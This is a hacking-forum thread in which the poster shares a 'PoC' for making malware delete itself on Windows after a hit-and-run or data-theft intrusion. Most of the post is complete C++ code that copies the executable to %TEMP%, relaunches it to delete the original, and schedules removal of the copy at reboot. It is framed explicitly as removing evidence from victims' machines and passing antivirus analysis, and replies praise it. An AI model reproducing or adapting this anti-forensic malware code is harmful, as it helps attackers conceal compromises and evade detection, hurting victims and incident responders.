var unreadAlerts = '1';
You have one unread private message from dkota titled Welcome to the Forum!

[PoC] Doing malware self-destruction elegantly
#1
TL;DR: A solution of self destructing executable which doesn't create external script file or creating any shell process, 
             and can pass most AV's dynamic analyze.

When you're designing a malware which is aimed at hit-and-run or info-extraction,
we all wanna clear up all the shit that we left on the targets machine, including all the shits you created for the execution or data exchange on the system,
removing all evidence which might signaling them that  "something had been wrong on your pc".

Among removing sub-files which you created to cover the track of your malware,
we all wanted to have our malware (I mean the executable itself) to be removed completely on the system,
without leaving any suspicious helper executable or interpreter-based script file (like batch or wscript) leaving behind in any location of the drive,
signaling them the possibility of compromise.

To sum up,
we're designing a program:

1. Only rely on itself to delete itself
2. Doing it elegantly, Not leaving any "helper" file behind on system
3. Not creating external interpreter-based file, since it's a common techniques used by malware, and a RED FLAG for AV.
4. Doesn't seems to be malicious to AV

The Idea I come up with is creating a function which can invoke the executable again, but made it to be parsed differently in the process and performing the self deletion task.
And we're gonna copy the whole executable to %TEMP% folder, in order to have another create another instance of the current executable to be invoked, 
which will be designed to delete the original executable of the malware (current process), and scheduling the temporary executable's deletion on system reboot,
and it's done by making an entry in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations,
instructing Windows to delete or move the temporary executable file the next time the system starts up.

BTW,
the scheduling self remove techniques is also use by some legitimate commercial software which want to delete their temporary file after usage,
so it will be mostly not be flag as malicious than creating a batch file and invoking it,
or creating sub-process running cmd.exe or powershell.exe

I know you some of you guys might be curious why not creating another instance of process of the malware in %TEMP%,
by using CreateFileEx() to open the copy with GENERIC_READ | GENERIC_WRITE and setting the flag FILE_FLAG_DELETE_ON_CLOSE.
letting CreateProcess() to inherit this handle, and having the executable itself to be deleted when the process exit. (handle close, trigger file deletion of owner)

This approach might sound valid, but it will eventually fail on Windows, due to the behavior of File Locking Mechanism.
If the file handle has been opened with FILE_FLAG_DELETE_ON_CLOSE, the file would be marked for deletion when the handle is closed,
which would prevent CreateProcess() from successfully starting a new process from the file,
resulting failure in this scheme.

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

So, for code implementation,
we're gonna implement the self deleting function like this:

Code:
// Code by KIARA@OnniForums.com, 05/30/23

// DESC: process and exectable self destruct
void Suicide(void){
     DWORD error_code{0};
     int size{0}, unique_id{0}, status{0};
     HANDLE tmp_hdlr{nullptr};
     STARTUPINFOW startup_info{};
     PROCESS_INFORMATION process_info{};
     WCHAR *exe_filepath{nullptr}, *tmp_path{nullptr}, tmp_filepath[MAX_PATH]{}, rename_filepath[MAX_PATH]{}, commandline[MAX_PATH]{};

     // get current executable's path
     SetLastError(ERROR_SUCCESS); // reset status
     do {

         delete[] exe_filepath;
         exe_filepath = new WCHAR[size + 1]; // add 1 for null termination
         GetModuleFileNameW(0, exe_filepath, size++);

      } while (GetLastError() == ERROR_INSUFFICIENT_BUFFER);

     // get system's tmporary dir path
     size = 0;
     size = GetTempPathW(size, nullptr); // Get required buffer size
     tmp_path = new WCHAR[size];
     GetTempPathW(size, tmp_path);

     // create a temprary file name
     do {

         size = GetTempFileNameW(tmp_path, L"KRA", unique_id, tmp_filepath);
         unique_id++;

     } while (size == 0);

     // create a copy of the current executable in temporary dir
     CopyFileW(exe_filepath, tmp_filepath, FALSE);

     // rename the extension back, since copyfile will fuckup the exe extension
    size = wcslen(tmp_filepath);
    wcscat_s(rename_filepath, MAX_PATH, tmp_filepath);
    rename_filepath[size - 4] = L'\0';
    wcscat_s(rename_filepath, MAX_PATH, L".exe");
    MoveFileW(tmp_filepath, rename_filepath);

    // start self delete process from the new exe in temporary dir
    wcscat_s(commandline, MAX_PATH, rename_filepath);
    wcscat_s(commandline, MAX_PATH, L" ");
    wcscat_s(commandline, MAX_PATH, exe_filepath);
    startup_info.cb = sizeof(STARTUPINFOW);

    // start process
    status = CreateProcessW(nullptr, commandline, nullptr, nullptr, TRUE, NORMAL_PRIORITY_CLASS, nullptr, nullptr, &startup_info, &process_info); // start process
    error_code = GetLastError();

    // show status of new started process for debug usage
    std::cout << "[TRACE] New process has been created with following details: " << std::endl << std::endl;
    std::wcout << "- CommandLine: " << commandline << std::endl;
    std::cout << "- Process Creation Status: " << std::boolalpha << (bool)status << std::endl;
    std::cout << "- Error Code: " << error_code << std::endl;

    // give you guys 10 sec to read the process creation details
    Sleep(10000);

    // clean up all the shit
    delete[] exe_filepath;
    delete[] tmp_path;
    return;
}

BTW,
the reson why I'm renaming the extension of the executable we copied to %TEMP% after invoking CopyFileW() is due to the security measures on Windows,
which will automatically alter all file extension to .tmp when a new file has been copied in the directory on default.
so we're gonna change it back so we can invoke the executable successfully. 

On the other hand, we're gonna invoke the Suicide() function in main() like this way:

Code:
// Code by KIARA@OnniForums.com, 05/30/23

// EP
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
     int argc{0}, error_code{0};
     LPWSTR *argv{nullptr};

     // init
     Set_Console();
     argv = CommandLineToArgvW(GetCommandLineW(), &argc);

     // normal mode => no arguments (argc == 1)
     if (argc == 1) {

         std::cout << "[INFO] The process has starting on normal mode." << std::endl;
         std::cout << "[INFO] Triggering suicide mode in 5 seconds......" << std::endl << std::endl;
         Sleep(5000);

         // self destruct start
         Suicide();

     } else { // sucide mode => have arguments (argc > 1)

          std::cout << "[INFO] The process has started in suicide mode." << std::endl << std::endl;
          Sleep(15000); // giving the caller 15 seconds delay to exit completely before killing it

          // remove file
          DeleteFileW(argv[1]); // delete the caller file (original executable on disk)
          error_code = MoveFileExW(argv[0], nullptr, MOVEFILE_DELAY_UNTIL_REBOOT); // schedule tmp file deletion on next system reboot

          // show status for debugging
          std::cout << "[INFO] Self Delete Scheduling: " << std::boolalpha << (bool)error_code << std::endl;
          Sleep(5000); // gives you 5 sec to read it
     }

     // program exit
     ExitProcess(0);
}

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

In conclusion,
So the final code we're having is like:

Code:
// Code by KIARA@OnniForums.com, 05/30/23

#include <limits>
#include <iostream>
#include <iomanip>
#include <windows.h>

// prototype declaration
void Suicide(void);
void Set_Console(void);

// EP
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
     int argc{0}, error_code{0};
     LPWSTR *argv{nullptr};

     // init
     Set_Console();
     argv = CommandLineToArgvW(GetCommandLineW(), &argc);

     // normal mode => no arguments (argc == 1)
     if (argc == 1) {

         std::cout << "[INFO] The process has starting on normal mode." << std::endl;
         std::cout << "[INFO] Triggering suicide mode in 5 seconds......" << std::endl << std::endl;
         Sleep(5000);

         // self destruct start
         Suicide();

     } else { // sucide mode => have arguments (argc > 1)

          std::cout << "[INFO] The process has started in suicide mode." << std::endl << std::endl;
          Sleep(15000); // giving the caller 15 seconds delay to exit completely before killing it

          // remove file
          DeleteFileW(argv[1]); // delete the caller file (original executable on disk)
          error_code = MoveFileExW(argv[0], nullptr, MOVEFILE_DELAY_UNTIL_REBOOT); // schedule tmp file deletion on next system reboot

          // show status for debugging
          std::cout << "[INFO] Self Delete Scheduling: " << std::boolalpha << (bool)error_code << std::endl;
          Sleep(5000); // gives you 5 sec to read it
     }

     // program exit
     ExitProcess(0);
}

// DESC: process and exectable self destruct
void Suicide(void){
     DWORD error_code{0};
     int size{0}, unique_id{0}, status{0};
     HANDLE tmp_hdlr{nullptr};
     STARTUPINFOW startup_info{};
     PROCESS_INFORMATION process_info{};
     WCHAR *exe_filepath{nullptr}, *tmp_path{nullptr}, tmp_filepath[MAX_PATH]{}, rename_filepath[MAX_PATH]{}, commandline[MAX_PATH]{};

     // get current executable's path
     SetLastError(ERROR_SUCCESS); // reset status
     do {

         delete[] exe_filepath;
         exe_filepath = new WCHAR[size + 1]; // add 1 for null termination
         GetModuleFileNameW(0, exe_filepath, size++);

      } while (GetLastError() == ERROR_INSUFFICIENT_BUFFER);

     // get system's tmporary dir path
     size = 0;
     size = GetTempPathW(size, nullptr); // Get required buffer size
     tmp_path = new WCHAR[size];
     GetTempPathW(size, tmp_path);

     // create a temprary file name
     do {

         size = GetTempFileNameW(tmp_path, L"KRA", unique_id, tmp_filepath);
         unique_id++;

     } while (size == 0);

     // create a copy of the current executable in temporary dir
     CopyFileW(exe_filepath, tmp_filepath, FALSE);

     // rename the extension back, since copyfile will fuckup the exe extension
    size = wcslen(tmp_filepath);
    wcscat_s(rename_filepath, MAX_PATH, tmp_filepath);
    rename_filepath[size - 4] = L'\0';
    wcscat_s(rename_filepath, MAX_PATH, L".exe");
    MoveFileW(tmp_filepath, rename_filepath);

    // start self delete process from the new exe in temporary dir
    wcscat_s(commandline, MAX_PATH, rename_filepath);
    wcscat_s(commandline, MAX_PATH, L" ");
    wcscat_s(commandline, MAX_PATH, exe_filepath);
    startup_info.cb = sizeof(STARTUPINFOW);

    // start process
    status = CreateProcessW(nullptr, commandline, nullptr, nullptr, TRUE, NORMAL_PRIORITY_CLASS, nullptr, nullptr, &startup_info, &process_info); // start process
    error_code = GetLastError();

    // show status of new started process for debug usage
    std::cout << "[TRACE] New process has been created with following details: " << std::endl << std::endl;
    std::wcout << "- CommandLine: " << commandline << std::endl;
    std::cout << "- Process Creation Status: " << std::boolalpha << (bool)status << std::endl;
    std::cout << "- Error Code: " << error_code << std::endl;

    // give you guys 10 sec to read the process creation details
    Sleep(10000);

    // clean up all the shit
    delete[] exe_filepath;
    delete[] tmp_path;
    return;
}

// DESC: give the program a console for debugging
void Set_Console(void) {

AllocConsole();
    freopen("CONIN$", "r", stdin);
    freopen("CONOUT$", "w", stdout);
    freopen("CONOUT$", "w", stderr);
    return;
}

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Hope this helps.

Feel free to use my code or reference it in your project,
and if you're interested in MalDev related knowledge or wanna discuss with me UwU
just add my jabber account: kirakira@lake.money
Bad things comes to those who waits......
Report
#2
https://github.com/byt3bl33d3r/Offensive...te_bin.nim
UwU
Reply Quote // Report
#3
Very clever. Quality thread and quality member. Thank you for sharing I am sure a lot will find this extremely useful
Reply Quote // Report


Quick Reply
Message
Type your reply to this message here.



Possibly Related Threads…
Thread Author Replies Views Last Post
  How to spread malware? nullcat 7 157 06-15-2023, 03:40 AM
Last Post: cyberiagu
  Malware & Tool creation service DerRoteMilan 0 54 06-06-2023, 02:17 AM
Last Post: DerRoteMilan
  whoami 'malware' malware 0 82 06-01-2023, 04:06 AM
Last Post: malware
  Cookie Malware !67zIU 4 211 05-28-2023, 11:16 AM
Last Post: 167zIU
VB.net Code snippets for malware scarab 3 278 05-14-2023, 12:38 PM
Last Post: napster2027



Users browsing this thread: purely_cabbage
var thread_deleted = "0"; if(thread_deleted == "1") { $("#quick_reply_form, .new_reply_button, .thread_tools, .inline_rating").hide(); $("#moderator_options_selector option.option_mirage").attr("disabled","disabled"); }